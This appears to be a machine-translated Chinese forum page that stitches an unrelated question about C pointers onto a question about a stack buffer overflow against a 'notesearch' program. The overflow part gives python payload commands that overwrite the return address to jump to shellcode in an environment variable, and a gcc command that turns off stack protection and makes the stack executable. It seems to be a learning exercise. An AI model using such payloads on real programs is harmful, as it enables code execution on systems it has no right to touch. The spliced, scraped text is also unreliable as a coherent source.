我仍然想知道为什么在C中你不能简单地使用普通变量设置一些东西.变量本身是指向数据的指针,不是吗?那么为什么当你可以简单地使用原始变量时,指针指向变量中的数据呢?它是否可以访问所述变量中的特定位(或字节,我猜)?
我确信这是合乎逻辑的,但是我从来没有完全掌握这个概念,当阅读代码时*pointers总是把我抛弃.
我在环境变量中存储了一些shellcode,并且正在尝试溢出程序.
./notesearch $(python -c 'print "\x01\x01\x01\x01\x01\x01\x01\x01" * 15 + "\x9e\xe7\xff\xff\xff\x7f"')
Run Code Online (Sandbox Code Playgroud)
这是因为它在GDB中运行时溢出效果很好,因为它会让我回到shell.但是,在GDB之外的事情并没有那么顺利.我关闭了ASLR,它最初给了我问题,直到我最终解决了这个问题,现在我正在使用C函数getenv()来获取我正在溢出程序的确切变量.我确信我正在填充保存的帧完美,因为当我从代码中删除最后6个字节时,我溢出程序时它不会出错,
./notesearch $(python -c 'print "\x01\x01\x95\xe6\xff\xff\xff\x7f" * 15') #no seg fault
Run Code Online (Sandbox Code Playgroud)
然而,当我向字符串添加单个字节后,它意味着我必须用最后一个字节命中保存的帧指针,如GDB进一步确认的那样.
./notesearch $(python -c 'print "\x01\x01\x95\xe6\xff\xff\xff\x7f" * 15 + "\x9e"') # does seg fault
Run Code Online (Sandbox Code Playgroud)
无论如何,我也编译了gcc notesearch.c -o notesearch -ggdb -fno-stack-protector -z execstack,正如我之前所说的那样,无论如何都在GDB中工作,所以我假设它更加内核保护?有任何想法吗?